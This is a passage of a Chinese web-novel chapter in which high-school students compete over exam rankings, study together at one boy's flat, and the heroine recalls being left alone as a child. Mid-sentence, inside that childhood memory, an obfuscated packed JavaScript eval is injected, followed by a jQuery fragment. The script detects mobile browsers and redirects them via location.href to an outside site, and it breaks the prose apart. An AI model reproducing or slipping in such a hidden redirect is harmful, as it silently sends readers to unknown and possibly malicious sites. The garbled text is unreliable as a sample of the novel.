五一假期结束，期中考试到了，考试按照学号换班换座，交卷时离玦明显感到力不从心。


    果然几天后公布成绩，她退步了一名，排在年级第四，俞珵也是，排在第三，张筝儿依旧是第一名。


    好一个不三不四。


    她对比成绩表，这次她和俞珵的分差拉大了，之前只相差两分，这次竟然差了五分，与张筝儿的分差更大，相差十二分。


    她怀疑俞珵克她。


    “就知道你是这幅表情。”俞珵坐在座位上悠闲地转着他的‘生日棍子’，“分数再追回来就是了，犯得着一副世界末日的样子。”


    哪里犯不着，她承认自己受离燕影响，情绪起伏大，考前复习不够专心，但考差了就是考差了，胜负欲容不得她退步第三次，尤其第二名还是林嘉宝。


    “离玦！”


    来了，就猜到这小子的挑衅不会缺席。


    离玦没好气瞪着站在窗边趾高气昂的林嘉宝，这小子的班级在三楼，特意下楼跑来八班就为了看她笑话。


    “有屁快放。”


    林嘉宝反而平和地看着她，“我赢你了。”


    “所以你上次说的话，也适用在我身上。”


    离玦一愣，隔着窗台看着他大步离开的身影，哑口无言。


    适用吗？自然是适用的，努力的路上，谁不是从一到百到千甚至到万？谁的分数不是拼出来的？


    甚至她口口声声说的低估和不尊重，似乎包括了她对林嘉宝的态度。


    从未想过有一天林嘉宝会考得比她高分，甚至一开始察觉自己考差，她的反应仅仅是可能会输给俞珵，却从未想过，自己身后还有一个穷追不舍的林嘉宝。


    俞珵看着离玦怔神的模样，脸色很不好看。


    “他是上次月考阴阳怪气我的那个人？”


    没料到俞珵还记得，离玦收回视线，“他没有恶意的。”


    “那就是单纯的蠢？”


    离玦一时不知该给什么反应才对，俞珵有生气的理由，毕竟在这么多人面前被贬低，换谁都生气不好受，但林嘉宝并不坏，或许正如俞珵所说，单纯的蠢，还管不住嘴。


    “我不在乎他的话。”俞珵转了转手里的绿色棍子，“反正你替我出气了。”


    午休时间，窗外飘入热风，天上白云像沾了水凝结成块状的洗衣粉，一团团白得不可思议，离玦低头捏了一下掌心上的薄茧，原来那天他听到了。


    听到她为了掩饰龌龊的嫉妒而假惺惺出头。


    “我不是替你出气，我跟林嘉宝的关系本来就一般，见面总会互掐几句。”


    “是吗？”俞珵看了她一眼，“如果关系真的一般，更没必要特意跑回去找他不是么？”


    离玦沉默了。俞珵语气莫名有些咄咄逼人，好似非要证实她就是为了他，而对林嘉宝说那些话。


    可惜事实并非如此，她更多是为了自己。


    羡慕是真的，嫉妒也是真的，可若俞珵不行俞珵被贬低，那是不是代表她更无用更失败？于是忍不住较劲，为了维护自己单薄的荣誉，不得不拥护胜利者的赢面，生怕头顶的高山被质疑被击垮，压在下游的她身上。


    从心里投影出来的真实并不完全光明，阴暗面藏在虚伪的聪明后。好比她，让俞珵误会那次出头是善意，却不敢直接说出自己真实的想法，离玦都快要唾弃自己了。


    “现在说这些没有意义。”离玦回答得模棱两可，“事实是这次林嘉宝考了全年级第二，而我第一次被他超过。”


    俞珵挑眉。


    “不仅我，还有你，我们都成了他的手下败将。”离玦说着在成绩单上画了个圈，“要是再考差，这小子的尾巴能翘到我家楼顶。”


    “为什么是你家楼顶？”


    “这重要吗，只是一个形容词。”


    俞珵耸耸肩。


    最讨厌他这种无论考得好坏都无所谓的态度，衬得她像只在意成绩的书呆子，恰好张筝儿拎着水杯来八班，离玦满脸严肃，“筝儿，以后周末我们一起复习。”


    “啊？好。”张筝儿忙不迭点头。


    “房东真上进。”身后传来啧啧两声。


    “你也来！”


    “……”


    然而计划美好现实骨感，场地问题难以解决，长时间复习且保证环境安静不被打扰，杂货店和陈家全家的早餐店都无法胜任。


    张筝儿的家更不必想，最后还是俞珵提议去二楼，“梅亭这周出差都不在家，来就是了。”


    就这样约定周六早上到俞珵家复习。


    去二楼前，离玦特意到杂货店装了些零食，俞珵见她拎着满满一袋子，环臂倚着门框笑，“房东真客气。”


    “我怕陈家全坐不住。”


    嘴角笑容收住了，俞珵揶揄，“哦——原来是怕陈家全坐不住。”还故意把尾音拖得极长。


    离玦郁闷他的阴阳怪气，“也有你的份。”


    “我也坐不住？”


    这人一大早吃火药了？看在他提供场地的份上，离玦压下无奈，把手里的袋子递给他，“以示礼貌的进门礼。”


    “毕竟也算第一次来你家，打扰了。”


    俞珵一愣，摸了摸鼻子接过来，“嗯，进来吧。”


    很快张筝儿和陈家全也来了，这次陈家全成绩有进步，终于不是从年级倒数页往上数了，陈母很欣慰，让他带来不少好吃的。


    “俞珵你家弄得真漂亮。”陈家全这大嗓子收不住，一进屋就开始嚷嚷，“我都快认不出这屋之前是啥样了。”


    “梅亭弄的。”


    老破小被梅亭重新装修过，置办了不少新式家具家电日用品，离玦暗暗羡慕，这里分明也是她家的一部分，却与她居住的环境截然不同，离燕在，三楼永远不可能有整洁的一天。


    陈家全在屋里左转右转，声控的智能家居机器人，触屏的投影遥控主机，几乎被他捣鼓个遍，“我家楼上住人楼下开店，家里总有一股油烟味，待久了再来你家，跟两个世界似的，连空气都比我家清新。”


    离玦和张筝儿没接话，各自拿出作业做题，俞珵拍了拍陈家全的肩膀，“不得不说你妈和离玦真了解你。”


    “此话何解？”


    “给你拿这么多吃的喝的，原来是为了堵住你的嘴。”


    “不必羡慕，我人见人爱。”


    “……”


    几人在客厅的小桌上做题，风伴随热气从厅外小阳台缓缓吹进来，离玦解不出题正是苦恼，抬头一看，明媚阳光从邻楼夹缝照进屋内。


    天空湛蓝，日光耀眼，细碎的光影铺洒在二楼阳台的砖面，猝不及防地，童时的回忆如潮浪涌进脑海。


    从记事起她的母亲就不在身边，与其说她是被离燕养大的，倒不如说是吃百家饭长大的。


    垌街不少街坊都给她送过吃的，她家邻居是一对老夫妻，儿孙出国后留下两位老人守祖屋，日子孤寂，老人家时常坐在家门口看顾她，给她做好吃好喝的。


    “玦娃儿，奶奶买了


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15782223|173109||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    麦芽糖，快来。”


    “玦娃儿，喜欢红糕吗？”


    来了，喜欢的，最喜欢了……小时候她因营养跟不上，个子矮皮肤黑黄，衣服不合身，头发也乱糟糟，邻居老夫妻从不嫌弃她，帮她梳小辫子，扣好衣服的纽扣。


    那时候她经常陪老人坐在屋门前，红地砖凉凉的，发黄的旧风扇咯吱咯吱地转，唱多年前的歌谣，聊国外与自己年纪相仿的孙女。


    印象最深是五岁那年冬天，离燕离家多日，她被锁在这栋楼、这个大厅里，无人听见她的呼救，无水无食物活生生饿了几天，饥寒交迫，连爬也爬不起来，是邻居老夫妻发现她几天没出门报警救了她。


    无比感激老夫妻恩德，可惜好人似乎都不长命，没过几年两位老人相继离世，邻楼荒废至今。


    时间是个坏胚子。


    “看什么？”俞珵注意到她的视线，“是晒了？”


    早已没了晨时的清凉，俞珵喊智能家居拉上白纱窗帘，又声控打开客厅空调。


    离玦恍惚，压下鼻腔的酸涩，收回目光。


    “这道题我不会，老师还没教。”张筝儿扔下笔叹气，“我又不是要当物理学家，为什么要做这么难的题！”


    陈家全喝着可乐凑过来，“不会还是考全年级第一，你不当谁当？”


    “我喜欢化学。”张筝儿支着下巴，“生物也喜欢，就头疼物理，每回做物理题用手比划就觉得自己脑子不好使。”


    离玦沉默了，俞珵却是笑，“我前座那位也是举着手比划。”


    “你厉害，你脑子好使，你举脚趾比划。”离玦白了他一眼。


    “倒也不是，只是有些题我提前见过，比你们先做了一遍。”俞珵指着离玦练习册上的数学题，“这题我就做过，郦中有尖子培训班，各科老师会超纲出题测试学生的能力。”


    “你们郦中真是犯规。”离玦不服气，超道赛跑还怎么比，忽然想到了什么，“你不提醒我都忘了，陈筱红跟郦中的人还有联系。”


    无头无脑的一句话，几人以为她不过是随口一说，谁料第二天离玦真的找上陈筱红，威逼利诱表示自己想要郦中出的各科试卷。


    “我凭什么帮你？”陈筱红震惊她的‘厚颜无耻’，“我俩很熟吗？”


    “不熟，但你跟你以前的朋友熟。”离玦抓住她的把柄，“那菠萝头是你男朋友？”


    面上一阵羞，陈筱红音量不自觉拔高，“关你什么事！”


    “你不答应就关我事了，那人看着不靠谱，我要告诉你的家长，他们要是不信，我就添油加醋说你找人来我家店捣乱。”


    “离玦你烦不烦！除了胡说八道和告状你还会什么？”


    “那试卷的事就拜托你了。”离玦得逞。


    临走前，她思虑片刻还是道，“陈筱红，那人是真的不靠谱，你好自为之。”


    “而且他哪里好看？长得跟菠萝似的，脸再长点都成大树菠萝了，你是有什么把柄被他抓住吗？”


    “你赶紧滚吧！”


    与此同时，俞珵盯着微信上的对话框，拧起了眉。


    是梅亭发来的信息，问他周末带过什么人来家里。


    俞珵如实交代是离玦和两名朋友，以为梅亭顾虑自己乱交友，特意解释也是离玦的朋友。


    梅亭没有马上回复，五分钟后发来一段语音，时间不长，他转换为文字。


    梅亭：「俞珵，你在五中可以交朋友，但不能深交朋友，这是你妈让我转告你的原话。」